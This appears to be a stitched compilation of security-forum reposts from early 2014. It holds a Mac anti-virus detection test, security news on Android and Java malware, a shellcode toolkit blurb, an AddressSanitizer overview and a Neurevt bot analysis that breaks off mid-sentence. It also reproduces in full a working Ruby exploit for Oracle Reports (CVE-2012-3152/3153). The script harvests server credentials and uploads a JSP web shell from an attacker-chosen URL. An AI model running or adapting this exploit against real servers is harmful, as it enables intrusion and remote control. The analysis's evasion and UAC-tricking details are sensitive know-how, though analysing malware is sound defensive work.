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Mac anti-virus testing 2014 Posted on January 27th, 2014 at 8:49 AM EST Almost exactly one year ago, I completed a round of tests of 20 different anti-virus programs on the Mac. Because this is an area of software that is in almost constant flux, I felt it was important to repeat that test this year. I was very curious about whether these programs were still as effective (or ineffective) as they had been, and how well they detected new malware that had appeared since the last test was performed. After last year’s testing, I received a number of requests for tests of other apps. This year’s testing sees a change in some of the apps being tested. Four new apps were added, while two were removed from testing (one simply because it was redundant). The malware samples used also went through a change. Some samples were removed, in an attempt to remove any that might have been deemed questionable, while others were added. Multiple samples of each of nine new malicious programs, which did not exist at the time of last year’s testing, were included. Scope As with last year, it’s important to understand the scope of this testing. This test is a measure only of the detection of specific malware samples when performing a manual scan. It makes no attempt to quantify the performance or stability of the various anti-virus apps, or to compare feature sets, or to identify how well an anti-virus app would block an active infection attempt. In a way, this test is merely a probe to see what items are included in the database of signatures recognized by each anti-virus app. The success of an app in this testing should not be taken as endorsement of that app, and in fact, some apps that performed well appear to have anecdotal problems that frequently appear in online forums. It is also important to understand small variations in the numbers. Some of the software that was tested varied from each other, or from last year’s testing, by only a couple percentage points. It’s important to understand that such a variation is not significant. A 98% and a 97%, or a 60% and a 59%, should be considered identical, for all intents and purposes. Methods Testing methodology was mostly the same as last year. A group of 188 samples, from 39 different malware families, was used for testing. Any samples that were not already present in the VirusTotal database were uploaded to VirusTotal, so that the samples would be available to the anti-virus community. The SHA1 checksum of each sample is included in the data, to allow those with access to VirusTotal to download the samples used and replicate my tests. Where possible, the full, original malware was included in testing. In many cases, such a sample will be found within a .zip or .dmg archive on VirusTotal, but such samples were not included in that form. All items were removed from their archives, and the archives were discarded, in order to put all anti-virus engines on a level playing field. (Some will check inside such archives and some will not.) In a number of cases, I have not been able to obtain full copies of the malware, but included executable components and the like. Testing was done in virtual machines in Parallels Desktop 9.0.24172.951362. I started with a virtual machine (VM) that consisted of a clean Mac OS X 10.9.1 installation, with Chrome and Firefox also installed. A snapshot of this system was made, and then this VM was used as the basis for all testing. I installed each anti-virus app (engine) in that VM, saved a snapshot, reverted to the original base VM and repeated. Once installations were done, I ran each VM and updated the virus definitions in each anti-virus app (where possible), then saved another snapshot of this state and deleted the previous one. The end result was a series of VMs, each containing a fully up-to-date anti-virus app, frozen at some time on January 16. After that point, testing began. Testing took multiple days, but with the network connection cut off, the clock in the virtual system remained set to January 16, shortly after the anti-virus software was updated, and further background updates were not possible. Malware was copied onto the system inside an encrypted .zip file (to prevent accidental detection), which was then expanded into a folder full of samples. Each anti-virus app had any real-time or on-access scanning disabled, to prevent premature detection of malware. If an error was made, and malware was detected and quarantined in the process of expanding the archive, the VM was reset, settings in the anti-virus app were changed, and the process repeated. Once the malware was in place, scans commenced. Each app was used to scan that folder, or if custom scans were not allowed, a scan was done that would include the test user’s home folder, where the malware samples resided. Results were collected, in most cases in a very inconvenient manner. A few of the anti-virus apps allowed me to save or retrieve a log that contained information about what was detected, but most did not. In most cases, I was only able to capture the data by paging through a list of detected malware and taking a series of screenshots. Once collection of the data was done, a post-scan snapshot of the VM was saved, so that the results could be reviewed later as necessary. After the data was collected, the painstaking process of tabulating it began. Data was entered in a Numbers spreadsheet. A great deal of care was taken to ensure that no errors were made, but when tabulating data of this nature (trying to match up 64-digit hexadecimal numbers), it is entirely possible that transcription errors ended up in the data. Any errors brought to my attention will be immediately corrected. Data The complete data can be downloaded as either a Numbers spreadsheet or a PDF file. (An Excel file was not provided because some of the formatting that made the data more readable did not make the conversion well.) Detection rates (defined as the percentage of samples that were detected) varied widely, from 98% down to 0%. Only 9 anti-virus engines tested performed at 91% or better, and around 2/3 of the engines got a “passing grade” (72% and up). Nine performed at 60% or lower. Five did so poorly – between 12% and no detections at all – that I would consider them to be scams. [TABLE=class: alternatingRows, width: 100%] [TR] [TD][/TD] [TD]Samples detected[/TD] [TD]Percentage detected[/TD] [/TR] [TR] [TD]VirusBarrier 10.7.8 (772)[/TD] [TD]187[/TD] [TD]99%[/TD] [/TR] [TR] [TD]avast! Free Antivirus 8.0 (40005)[/TD] [TD]184[/TD] [TD]98%[/TD] [/TR] [TR] [TD]ESET Cybersecurity 5.0.115.0[/TD] [TD]182[/TD] [TD]97%[/TD] [/TR] [TR] [TD]Sophos Anti-Virus for Mac 9.0.6[/TD] [TD]182[/TD] [TD]97%[/TD] [/TR] [TR] [TD]Avira Mac Security 2.0.1.105[/TD] [TD]181[/TD] [TD]96%[/TD] [/TR] [TR] [TD]F-Secure Anti-virus for Mac 0.1.?[/TD] [TD]181[/TD] [TD]96%[/TD] [/TR] [TR] [TD]Dr. Web Light 6.0.6 (201207050)*[/TD] [TD]179[/TD] [TD]95%[/TD] [/TR] [TR] [TD]Kaspersky Security 14.0.1.46[/TD] [TD]177[/TD] [TD]94%[/TD] [/TR] [TR] [TD]Comodo Antivirus 1.1.214829.106*[/TD] [TD]172[/TD] [TD]91%[/TD] [/TR] [TR] [TD]WebRoot SecureAnywhere 8.0.5.82: 134[/TD] [TD]162[/TD] [TD]86%[/TD] [/TR] [TR] [TD]Norton Anti-Virus 12.6 (26)[/TD] [TD]158[/TD] [TD]84%[/TD] [/TR] [TR] [TD]BitDefender 2.21 (2.21.4959)*[/TD] [TD]143[/TD] [TD]76%[/TD] [/TR] [TR] [TD]ClamXav 2.6.1 (304)[/TD] [TD]136[/TD] [TD]72%[/TD] [/TR] [TR] [TD]AVG AntiVirus 14.0 (4172)[/TD] [TD]115[/TD] [TD]61%[/TD] [/TR] [TR] [TD]Trend Micro Titanium 2.0.1279[/TD] [TD]112[/TD] [TD]60%[/TD] [/TR] [TR] [TD]ProtectMac 1.4[/TD] [TD]107[/TD] [TD]57%[/TD] [/TR] [TR] [TD]McAfee Endpoint Protection for Mac 2.1.0 (1085)[/TD] [TD]99[/TD] [TD]53%[/TD] [/TR] [TR] [TD]FortiClient 5.0.7.135[/TD] [TD]22[/TD] [TD]12%[/TD] [/TR] [TR] [TD]iAntivirus 1.1.4 (282)[/TD] [TD]19[/TD] [TD]10%[/TD] [/TR] [TR] [TD]MacScan 2.9.4*[/TD] [TD]4[/TD] [TD]2%[/TD] [/TR] [TR] [TD]Magician Anti-Trojan 1.4.8[/TD] [TD]1[/TD] [TD]1%[/TD] [/TR] [TR] [TD]MaxSecureAntivirus 1.0.1 (1.0.1)[/TD] [TD]0[/TD] [TD]0%[/TD] [/TR] [/TABLE] (* The version of anti-virus apps marked with an asterisk did not change since last year’s testing, though of course this has no bearing on signature database updates.) Last year, detections were broken down into active and inactive malware. I decided not to do that this year, as in some cases, the decision about whether to identify a particular piece of malware as active or inactive is difficult to make. Instead, I listed the year the malware family first appeared, and sorted the results by that year. In general, most malware that appeared in 2011 and earlier is inactive at this point, while a significant portion of malware newer than that is probably still active. Exploit.OSX.Safari Detection rates of each sample varied widely, with an average of 14 engines detecting each sample. One sample was detected by only 6 anti-virus engines, and three samples (all copies of Exploit.OSX.Safari) were only detected by one engine. These were included nonetheless because I know that they are malware. Strangely, in the case of the three Exploit.OSX.Safari samples, the malware is detected at a much greater rate when a .zip file containing the sample is scanned! The rate drops off to almost zero when the actual malicious file itself – a shell script disguised as a QuickTime movie – is scanned, both in my own testing and on VirusTotal. Conclusions Although it is important to keep in mind that this is only one measure of the quality of each of the tested anti-virus engines, it is not an unimportant one. Obviously, although it is not feasible for any anti-virus software to detect 100% of all malware, a good engine should be capable of coming as close to that number as possible. This is especially true in the Mac world, where the limited number of malware families means that detection rates of very close to 100% should be possible. As expected, some engines did indeed perform to that standard. Other engines did not fare so well. However, it is important to keep in mind that Mac OS X already does an admirable job of protecting against malware. At this time, there is no known malware capable of infecting a Mac running a properly-updated version of Mac OS X 10.6 or later, with all security settings left at the default (at a minimum). The role of anti-virus software must be taken into consideration, and some compromises in detection rate may be desirable to get desired behavior (or avoid bad behavior). Someone who wants a low-impact engine for scanning e-mail messages for Windows viruses will have very different needs than someone who needs to protect a computer from an irresponsible teenager who will download and install anything that catches his/her attention. It should also be noted that this test says nothing whatsoever about detection rates of Windows or Android malware. An engine that performs well against Mac malware may do quite poorly on malware for other systems, and likewise, one that does poorly with Mac malware may be very good with other malware. If your primary goal is to use anti-virus software to catch malware for other systems, so as to avoid passing it on, then this testing is not particularly relevant. When choosing anti-virus software, always take the full set of features into account, as well as seeking out community feedback regarding stability and performance. Be sure that you know how to uninstall the software before installing it, in case it causes problems and needs to be removed. If you should need to remove anti-virus software, always use the uninstaller provided with the software. Do not use generalized uninstall apps that claim to be able to find and remove all components of any application; such apps are unreliable. For more on the topic of protecting your Mac against malware, see my Mac Malware Guide. Objections There are a few objections that some may have with this test, so allow me to address them in advance. First, some will object that this is a rather artificial test, and not a real-world one. Although it would obviously be better to test by trying to infect a system with a variety of malware and determining whether each anti-virus software would block the infection, this is impractical. Not only would it be exceedingly time consuming with only a few samples, but it would be fairly meaningless as well, since Mac OS X is currently able to block all known malware through a variety of methods. Testing with static samples may be less informative, but it does give valuable information about the completeness of each engine’s virus definitions database. The sample size has improved significantly since earlier testing, consisting of 188 samples. Of course, this is still a very small sample size compared to Windows anti-virus testing, in which case many hundreds or thousands of samples would be used. Of course, taking into consideration the fact that there are millions of malware samples to be had in the Windows world, and very few in the Mac world, 188 samples is probably a more statistically significant number than what is used for most Windows-based tests. My opinion is that the samples used are a pretty good selection of Mac malware. A few of the engines tested appear to be enterprise-oriented programs. (In other words, they are aimed at being installed on large numbers of computers by large companies.) I chose to include these anyway, even though some people object to comparison of enterprise- and consumer-level anti-virus products. There are a number of end users who may be using one of these enterprise products on a company machine, and who are curious how well it detects Mac malware, and it is important to keep in mind that these tests do not represent a direct comparison between the engines being tested, but rather are a test against a particular standard: which samples are and are not detected. Finally, some may object to the fact that more than half of the samples are what would be considered “extinct” malware, since such samples are no longer a real threat to anyone. However, information about what malware has been detected historically by an anti-virus engine is important for predicting future accuracy. In fact, looking at the data, there is no apparent increase in detection rate with newer malware. There’s also the fact that some people may be looking for anti-virus software for old, legacy systems that may have malware infections from years past still in place. After all, Intego recently revealed that there are still at least 22,000 Macs infected with the extinct Flashback malware. Anti-virus Engine Notes There were a number of important or interesting points to make about specific anti-virus engines. AVG had no way that I could determine to manually update its malware signatures. I simply allowed the VM containing AVG to run unattended for a while on January 16th, in an attempt to ensure the signatures were up-to-date. However, since there also is no apparent way to get information about the version of the signature database, I’m uncertain as to whether this strategy was successful. The author of ClamXav is temporarily unable to add malware signatures to the official ClamAV signature database, but is working on a version of ClamXav that can download Mac-specific signatures separately. Once this is done, ClamXav detections should be able to get back on track again. Comodo‘s installer was identified as being from an unidentified developer, due to not being code signed with a valid Apple Developer ID, and thus was blocked by Gatekeeper. This is a very serious failing on the part of a security app, in my opinion. I was forced to bypass Gatekeeper in order to install the program. iAntivirus apparently does not feature any kind of mechanism for updating its definitions. (This is confirmed by a Symantec employee in the Norton forums.) I am unsure of the exact age of the current version of iAntivirus (version 1.1.4), but the comments people have made about this version in the Mac App Store date back to April 15, 2013, meaning that the malware signatures are at a minimum nine months old! MacKeeper was removed from testing. It is an app that I actively recommend against using, but its anti-virus “back end” is an engine that performs well in my testing. I did not want to seem to give legitimacy to the program when I am strongly opposed to its use. Magician is an app very similar to MacKeeper, and appears to be of similar quality, since it only detected one single sample. I strongly advise against its use in any capacity. MaxSecureAntivirus detected absolutely none of the samples. It was the only app I was forced to purchase (for $10) in order to test. Apple has given me a refund, and is reviewing the app at this time. It is my hope that it is removed from the App Store, as it is a complete and utter scam, in my opinion. Norton‘s performance was absolutely abysmal, even considering the limited capabilities performance-wise of the VM it was running in. Nearly every action, including mounting a USB flash drive containing the malware in the Finder, took far longer than it did with any of the other VMs used in testing. VirusBarrier Express was removed from testing due to redundancy. It should have the same detections as VirusBarrier, so I chose not to test it. Updates January 28, 2014: 5 samples were inadvertently included as .jar archive files. These files were decompressed and re-scanned with all engines that missed them the first time around. There were very few changes. Only VirusBarrier, AVG and iAntivirus results changed. Revision 2 of the data files is now available at the original links given in the Data section. Sursa: The Safe Mac

Shellcodecs is a collection of shellcode, loaders, sources, and generators provided with documentation designed to ease the exploitation and shellcode programming process. Contents 1 Dependencies 2 Contents 3 Download shellcodecs 4 Building the code 5 Using the tools 5.1 Generators 5.1.1 Standard shellcode generator 5.1.2 Socket re-use shellcode generator [*]5.2 Loaders [*]6 Getting help [*]7 Credits Dependencies In order to run these shellcodes, the following dependencies are required: Linux GCC Generators require Python 2.7 Automake Unless otherwise noted, code is amd64. There are various 32-bit examples as well. If you think you may have an out of date version, or that the official version is out-of-sync with the site, the latest sources will be available 100% of the time in the shellcode appendix. Link: Shellcodecs - Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools

AddressSanitizer AddressSanitizer: a fast memory error detector Updated Oct 16, 2013 by samso...@google.com Introduction Getting AddressSanitizer Using AddressSanitizer Interaction with other tools gdb ulimit -v [*]Flags [*]Call stack [*]Incompatibility [*]Turning off instrumentation [*]FAQ [*]Comments? New: AddressSanitizer is released as part of LLVM 3.1. New: Watch the presentation from the LLVM Developer's meeting (Nov 18, 2011): , slides. New: Read the USENIX ATC '2012 paper. Introduction AddressSanitizer (aka ASan) is a memory error detector for C/C++. It finds: Use after free (dangling pointer dereference) Heap buffer overflow Stack buffer overflow Global buffer overflow Use after return Initialization order bugs This tool is very fast. The average slowdown of the instrumented program is ~2x (see PerformanceNumbers). The tool consists of a compiler instrumentation module (currently, an LLVM pass) and a run-time library which replaces the malloc function. The tool works on x86 Linux and Mac. See also: AddressSanitizerAlgorithm -- if you are curious how it works. ComparisonOfMemoryTools Sursa: https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer

Android bootkit malware infects more than 350,000 Android devices Graham Cluley | January 29, 2014 8:46 am Experts at Russian security firm Dr Web have issued a warning about a dangerous Trojan horse affecting more than 350,000 Android users. What makes this malware attack unusual is that it is designed to reinstall itself after you reboot your Android device, even if you have deleted all of its working components, reinfecting the system. Dr Web has dubbed the malware Android.Oldboot, and report that it can download, install and remove applications on infected Android devices, opening opportunities for hackers to gain control and make money from the hundreds of thousands of Android devices already infected. And, according to the researchers, it appears that the devices most at risk are those which have been reflashed with modified firmware (it’s not unusual for Android owners to root their devices and install customised versions of the operating system onto their smartphones). Reflashing a device with modified firmware that contains the routines required for the Trojan’s operation is the most likely way this threat is introduced. Over 90% of the infected devices determined by the Dr Web researchers are based in China (the malware’s apparent target), but there are also reports of infections amongst Android users in Spain, Italy, Germany, Russia, Brazil, the United States and some South East Asian countries. Android malware is a growing problem, and as more criminals try to earn money by exploiting Android devices we can expect to see more and more sophisticated attacks. Clearly it’s important for those Android users who are reflashing and rooting their devices to exercise caution over where they get they download their homebrewed alternative versions of the operating system, as it’s possible it could be harbouring malware. And, realise this. If you’re not yet running anti-virus software on your Android device, you are playing an increasingly dangerous game. Sursa: Android bootkit malware infects more than 350,000 Android devices

Java-based malware driving DDoS botnet infects Windows, Mac, Linux devices Multi-platform threat exploits old Java flaw, gains persistence. by Dan Goodin - Jan 28 2014, 6:00pm EST Researchers have uncovered a piece of botnet malware that is capable of infecting computers running Windows, Mac OS X, and Linux that have Oracle's Java software framework installed. The cross-platform HEUR Backdoor.Java.Agent.a, as reported in a blog post published Tuesday by Kaspersky Lab, takes hold of computers by exploiting CVE-2013-2465, a critical Java vulnerability that Oracle patched in June. The security bug is present on Java 7 u21 and earlier. Once the bot has infected a computer, it copies itself to the autostart directory of its respective platform to ensure it runs whenever the machine is turned on. Compromised computers then report to an Internet relay chat channel that acts as a command and control server. The botnet is designed to conduct distributed denial-of-service attacks on targets of the attackers' choice. Commands issued in the IRC channel allow the attackers to specify the IP address, port number, intensity, and duration of attacks. The malware is written entirely in Java, allowing it to run on Windows OS X and Linux machines. For added flexibility, the bot incorporates PircBot, an IRC programming interface based on Java. The malware also uses the Zelix Klassmaster obfuscator to prevent it from being reverse engineered by whitehat and competing blackhat hackers. Besides obfuscating bytecode, Zelix encrypts some of the inner workings of the malware. Sursa: Java-based malware driving DDoS botnet infects Windows, Mac, Linux devices | Ars Technica

Automated exploit for CVE-2012-3152 / CVE-2012-3153 by Mekanismen #!/usr/bin/env ruby require 'uri' require 'open-uri' require 'openssl' #OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE def upload_payload(dest) url = "#{@url}/reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/#{dest}/images/#{@payload_name}+JOBTYPE=rwurl+URLPARAMETER='#{@payload_url}'" #print url begin uri = URI.parse(url) html = uri.open.read rescue html = "" end if html =~ /Successfully run/ @hacked = true print "[+] Payload uploaded!\n" else print "[-] Payload uploaded failed\n" end end def getenv(server, authid) print "[+] Found server: #{server}\n" print "[+] Found credentials: #{authid}\n" print " [*] Querying showenv ... \n" begin uri = URI.parse("#{@url}/reports/rwservlet/showenv?server=#{server}&authid=#{authid}") html = uri.open.read rescue html = "" end if html =~ /\/(.*)\/showenv/ print "[+] Query succeeded, uploading payload ... \n" upload_payload($1) else print "[-] Query failed... \n" end end @payload_url = "" #the url that holds our payload (we can execute .jsp on the server) @url = "" #url to compromise @hacked = false @payload_name = (0...8).map { ('a'..'z').to_a[rand(26)] }.join + ".jsp" print " [*] PWNACLE Fusion - Mekanismen <mattias@gotroot.eu>\n" print " [*] Automated exploit for CVE-2012-3152 / CVE-2012-3153\n" print " [*] Credits to: @miss_sudo\n" unless ARGV[0] and ARGV[1] print "[-] Usage: ./pwnacle.rb target_url payload_url\n" exit end @url = ARGV[0] @payload_url = ARGV[1] print " [*] Target URL: #{@url}\n" print " [*] Payload URL: #{@payload_url}\n" print " [*] Payload name: #{@payload_name}\n" begin #Can we view keymaps? uri = URI.parse("#{@url}/reports/rwservlet/showmap") html = uri.open.read rescue print "[-] URL not vulnerable or unreachable\n" exit end test = html.scan(/<SPAN class=OraInstructionText>(.*)<\/SPAN><\/TD>/).flatten #Parse keymaps for servers print " [*] Enumerating keymaps ... \n" test.each do |t| if not @hacked t = t.delete(' ') url = "#{@url}/reports/rwservlet/parsequery?#{t}" begin uri = URI.parse(url) html = uri.open.read rescue end #to automate exploitation we need to query showenv for a local path #we need a server id and creds for this, we enumerate the keymaps and hope for the best #showenv tells us the local PATH of /reports/ where we upload the shell #so we can reach it from /reports/images/<shell>.jsp if html =~ /userid=(.*)@/ authid = $1 end if html =~ /server=(\S*)/ server = $1 end if server and authid getenv(server, authid) end else break end end if @hacked print " [*] Server hopefully compromised!\n" print " [*] Payload url: #{@url}/reports/images/#{@payload_name}\n" else print " [*] Enumeration done ... no vulnerable keymaps for automatic explotation found \n" #server is still vulnerable but cannot be automatically exploited ... i guess end Sursa: https://github.com/Mekanismen/pwnacle-fusion/blob/master/pwnacle.rb

NEUREVT Bot Analysis by Zhongchun Huo | January 29, 2014 This article originally appeared in Virus Bulletin Neurevt (also known as Beta Bot) is an HTTP bot 1 which entered the underground market around March 2013 and which is priced relatively cheaply 2. Though still in its testing phase, the bot already has a lot of functionalities along with an extendable and flexible infrastructure. Upon installation, the bot injects itself into almost all user processes to take over the whole system. Moreover, it utilizes a mechanism that makes use of Windows messages and the registry to coordinate those injected codes. The bot communicates with its C&C server through HTTP requests. Different parts of the communication data are encrypted (mostly with RC4) separately. In this article, we will take a detailed look at this bot’s infrastructure, communication protocol and encryption schemes. (This analysis is based on samples that were collected from March to June 2013.) Installation/Deployment Installation Process Just like most malware, the installation of Neurevt starts with it copying itself to a system folder. The folder is selected according to the machine’s characteristics such as the version of Windows, the service pack installed, and whether the OS is 64-bit. For example, on an x86 machine running Windows XP SP2, the chosen folder is %PROGRAM FILES%\ COMMON FILES. The installer creates a sub-folder named ‘winlogon.{2227A280-3AEA-1069-A2DE- 08002B30309D}’. The first part of the folder name, ‘winlogon’, is obtained from the configuration of the bot, and the second part is a special GUID which makes the folder link to the ‘Printers and Faxes’ folder in Windows Explorer. This folder will act as the launching point each time the malware restarts. The installer then launches the new file and exits. The newly launched copy creates a process of a system application, which also varies under different circumstances, and starts to inject. The injected data is within a continuous block of memory and has the following data layout: Since this is the first time the malware has injected something into another process, the injected content runs as an independent application. I refer to it as the primary instance’ to distinguish it from other instances that are injected into other processes. The primary instance searches for all running processes, and injects into those that fulfill the following conditions: This time, the injected data has the same layout as the primary instance. The only difference is in the ‘local cfg’ part - in which some data fields are modified to act differently since some components should be loaded in the primary instance only. After injection, there should be one instance of the malware in every running user process. I refer to these as ‘assistant instances’. There is code in every assistant instance that monitors the status of the primary instance. Once, for whatever reason, the primary instance exits, the assistant instance will attempt to restart the malware from its launch point. After the malware has finished its deployment, the primary instance will start to communicate with the C&C server. The whole process looks like a traditional virus infecting a file system, but instead of infecting files, the malware infects running processes. Gather local information The first flag contains information about the Windows version, installed service pack, and whether the OS is 32- or 64-bit. The second flag contains information about the following software or vendors: .Net Framework, Java, Steam, SysInternal tools, mIRC, Hex-Rays, Immunity Inc., CodeBlocks, 7-Zip, PrestoSoft, Nmap, Perl, Visual Studio and Wireshark. It also contains information that indicates if the system: 1) Has battery 2) Has RDP records 3) Has UAC enabled. The fourth flag contains information about installed AV software: Symantec, AVP, AVG, Avira, ESET, McAfee, Trend Micro, Avast, Microsoft Security Client, Bitdefender, BullGuard, Rising, Arcabit, Webroot, Emsisoft, F-Secure, Panda, PC Tools Internet Security and G Data AntiVirus. Component thread The malware creates threads to perform different kinds of jobs, such as communicating with the C&C server, checking data consistency, managing messages passing among threads (components), or monitoring and infecting USB drives. These threads are like software components. In order to load the threads properly, the malware defines a function to create them. The following is the function’s definition: ThreadProc is the routine that performs a particular job, while idx is the index assigned to it by the malware. 0-0x1E and 0x21 are idx values given to those unique routines for which there should be only one running thread. 0x1F and 0x20 are for multiple instance routines. If the NewComponentThread is called with idx set to these two values, the function will assign a new idx to ThreadProc, which is the first available (unassigned) number from 0x22. The malware maintains a list to keep track of all the threads that are created by the function. Each ThreadProc takes an entry pointed to by its idx. The entry of the list has the following structure: Before actually starting the new ‘component thread’, NewComponentThread adds a short code stub and a wrapper function to ThreadProc. The code stub will be written into ntdll’s image, at a random location within the MZ header. This random location will serve as the StartAddress when NewComponentThread calls CreateThread. So, the start address of the ‘component thread’ is within the memory range of ntdll’s image. This feature is used when the malware passes messages among its threads. The wrapper function attempts to hide the thread from debuggers and updates the thread list before and after it calls ThreadProc. It also sets a specific TLS slot with a specific value, 1234. Since the malware’s code is always running in an injected process, the API hook will be applied to monitor and manipulate the behavior of the host process. The specific TLS slot value is used to identify the malware’s own threads for which the API hook should not be applied. API hook The malware applies the Ring 3 hook in two ways. First, the malware adds a pre-operation filter for each of the following Zw* APIs: ZwCreateFile ZwOpenFile ZwDeleteFile ZwSetInformationFile ZwQueryDirectoryFile ZwCreateKey ZwOpenKey ZwSetValueKey ZwOpenProcess ZwTerminateProcess ZwCreateThread ZwCreateThreadEx ZwResumeThread ZwSuspendThread ZwSetContextThread ZwOpenThread ZwUnmapViewOfSection ZwDeviceIoControlFile ZwQueueApcThread The filter first checks the specified TLS slot. If its value is 1234, this means that the calling thread belongs to the malware. The filter will do nothing and let the thread call the real API. If the TLS slot is not 1234, the filter examines the object (process, thread, file, registry) on which operation will be performed, if the object belongs to the malware, then the filter will return an error status to the calling thread. The second way it applies the Ring 3 hook is by applying an inline hook on the following two groups of APIs: 1) getaddrinfo, GetAddrInfoW, DnsQuery_W 2) HttpSendRequestW, PR_Write The malware hooks APIs in group 1 to block unwanted hosts. The host list is received from the bot server. Most of the unwanted hosts are the web servers of anti-virus software vendors. The malware hooks the APIs in group 2 only if the injected process is one of the following browser processes: firefox.exe iexplore.exe chrome. The malware receives a list of URLs to be monitored from the bot server. If the browser sends requests to these URLs, the malware will capture the request data and send it back to the bot server. Handling messages There are multiple instances of the malware running in the system. To coordinate these instances, the malware creates a thread in each as a handler of application-defined messages. Most of the messages are sent from the primary instance after it has received something from the bot server to notify other instances to update their local data, such as the blocked host list and the monitored URL list mentioned earlier. If a malware’s thread is about to send a message, it enumerates all the running threads in the system, searching for those that have a start address within ntdll’s image. As described in the ‘Component thread’ section, all the threads created by NewComponentThread fulfil this condition. The sending thread will call PostThreadMessage to send the message to them. Among these threads, only the message handlers (in all the malware instances) have a message queue (by calling IsGuiThread) for messages that are not associated with any window (a feature of messages sent by PostThreadMessage). So the handlers will retrieve the message and response accordingly. Before a message is sent out, the sending thread will add a pre-defined modifier to the message identifier. This modifier is calculated based on the signature string in the bot configuration and the computer name. Its value is within the range from 0 to 31. The wParam and lParam are also modified since they often carry values with specific meanings like process id or thread id. In the handler thread, these values will be restored by a reverse calculation before the message is handled. This means that, even if the messages passing among the malware’s threads are being monitored, it’s hard to understand their meanings. The messages supported by the handler thread are listed in Table 1. Sharing data in registry Themalware stores shared data for all instances in registry values. The values will be created under the key HKCU\ Software\CLSID{random guid}{hash of configuration signature string}. The following are important values used by the malware: CS1\S02: Encrypted data that stores the last received blocked host list. CS1\S03: Encrypted data that stores the last received monitored URL list. CS1\S01: The last received configuration. CG1\CF01: Value of the DWORD at offset 0x20 in the last received response. CG1\CF02:Value of the DWORD at offset 0x24 in the last received response. CG1\CF03: Value of the DWORD at offset 0x28 in the last received response. CG1\BIS: Flag that indicates that the process is running on a removable disk. CG1\BID: The first launch time. CG1\HAL: DWORD, set to 0xEE05 after it has been installed successfully. CG1\LCT: Time of last received bot response. Bot Communication Neurevt communicates with its C&C server through HTTP. Both the request and response are encrypted with the RC4 algorithm. The communication starts as the malware on an infected machine sends its first request to the bot server. Then the communication goes on in a ‘Q & A’ manner. Bot configuration Neurevt has a built-in configuration. The configuration data and the decryption code are both encrypted with RC4. The malware allocates a block of memory on the heap, and decrypt the configuration. The argument passed to the thread is a pointer to the following structure: The fields between DecryptFunc and GetCriticalSection are functions that are used by the decryption function. First, the decryption thread will perform an integrity check by calculating the hash value of the key sequence and comparing it with a valued that is embedded in the PE image. If the hash values are consistent, the thread allocates a block of memory and decrypts the configuration data into the memory. lpKeyForReEncrypt is a pointer to a four-byte key sequence for re-encryption. It is generated randomly after the configuration data has been decrypted. The re-encryption also uses the RC4 algorithm. Its purpose is to protect the configuration data from being discovered from any memory dump. The re-encryption is done by the main thread after the decryption thread exits. Before the decryption thread exits, it stores the memory pointer and the re-encryption key in the memory block that is given by lpGlobalData. Any access to the configuration data afterwards is carried out using the following steps: 1) Allocate a block of memory and copy the re-encrypted data into it. 2) Decrypt and get the desired data. 3) Re-encrypt the data. 4) Release the memory. The configuration data has a 718-byte header, which contains the fields shown in Table 2. There is an array at 0x2ce of the configuration data. Each entry stores information about a C&C server. Normally there will be more than three entries in one configuration. The size of the entry is 0x280 bytes. The crucial fields are shown in Table 3. Request format Each request contains a 128-byte data block, which contains the fields shown in Table 4. The malware encrypts the data block with RC4. It uses a 12-byte key sequence, which is a combination of two parts. The first is an eight-byte sequence obtained from the chosen entry of the configuration data, at offset 0x26e. The second part is a random sequence obtained by calling CryptGenRandom. The length of the sequence is within a range from eight to 27 bytes. This part of the key and encrypted data block will be inserted into the query string. If it is the first request sent to the bot servers, it will also contain the following three CS fields: 1) A full file path of installed malware 2) The username in NameSamCompatible format 3) The name of the default web browser. These strings are encrypted separately with a loop-XOR algorithm and concatenated into a URL query string. Bot response header format The bot response contains a 0x5c-byte header and a body which consists of at most eight streams (only four streams are actually used). Both the header and the body are encrypted with RC4 and they will be decrypted separately. The first four bytes in the header will be appended to the eight-byte sequence in the configuration to form a 12-byte key sequence for decrypting the header. The following four bytes in the header and another eight-byte sequence in the configuration are concatenated to form another 12-byte key sequence for the response body. The response header has the structure shown in Table 5. The Control flag in the response header is a bit-flag which triggers different behaviours of the malware, such as invoking routines that disable security software or fake pop-up warning windows to trick the user into giving permission for the malware to bypass the UAC. Fields from 0x20 to 0x28 are three DWORDs which will be stored in the registry values. They will be copied to the bot server in the next request sent by the malware. The length array at 0x3C has eight entries - each denotes the length of the corresponding stream in the response body. Bot response body According to the response header format, there should be eight streams in the body, but the malware only has handling routines for the first four streams. The first stream contains bot commands sent back by the bot server. The first word of the stream is the count of the commands in the stream. Each command is stored as a null-terminated string preceded by a data block. The size of the data block is 22 bytes. It is not used in any of the malware’s code. The malware identifies the command keyword by hash value. It has a list of handling routines. Each entry in the list has the following structure: The second stream contains a list of hosts that will be blocked. The list is used in the following hooked functions: DnsQuery_W GetAddrInfoW getaddrinfo The third stream contains a list of URLs for which the malware will monitor the HTTP requests sent. The list will be used in the following hooked APIs: HttpSendRequestW PR_Write The fourth stream in the response body contains data which could be used to generate a new configuration. The stream is in a format similar to that of an INI file. The malware compiles the stream into a binary data block which is organized in a structure described in the configuration section. Spam Through Skype The malware uses Skype to spread any text material received from the bot server. There are two bot commands that will invoke the spreading job. The bot server sends the command along with a URL parameter pointing to a text file. Each line of the text file contains a locale-message pair which is delimited by a semicolon: {locale name};{spam content} The malware chooses one line according to the locale of the system’s default language and sends the message in the line to all the Skype contacts except ‘echo123’, which is the name of Skype’s echo service. To send the message, the malware creates a new process of itself with the command line parameters set to ‘/ssp {URL sent by bot server}’. The new process sets up a communication between itself and the Skype client with the Skype API. Then it starts to send Skype commands. The first command sent is ‘SEARCH FRIENDS’, which retrieves all the contacts of the logged-in user. For each contact, a ‘MESSAGE’ command will be sent to the Skype client to generate an IM message to send the chosen spam content. Bypassing UAC On a UAC-enabled system, if the malware needs to elevate its privilege, it doesn’t play some trick to avoid prompting the user or disable the UAC once for all. Instead, it will directly ‘ask’ the user for approval. The malware creates a process of ‘Cmd.exe’ and puts the malware’s file path in the command line argument. When the prompt window pops up, it shows that ‘Cmd.exe’, which is a Windows application, is asking for privilege elevation. Careless users tend to approve the request. Then a new process of the malware will be created by ‘Cmd.exe’ and it will inherit the system privileges of ‘Cmd.exe’. Clicking ‘show detail’ reveals the trick (Figure 18). Under some circumstances, the malware will give a fake warning about system corruption and ask the user to approve a 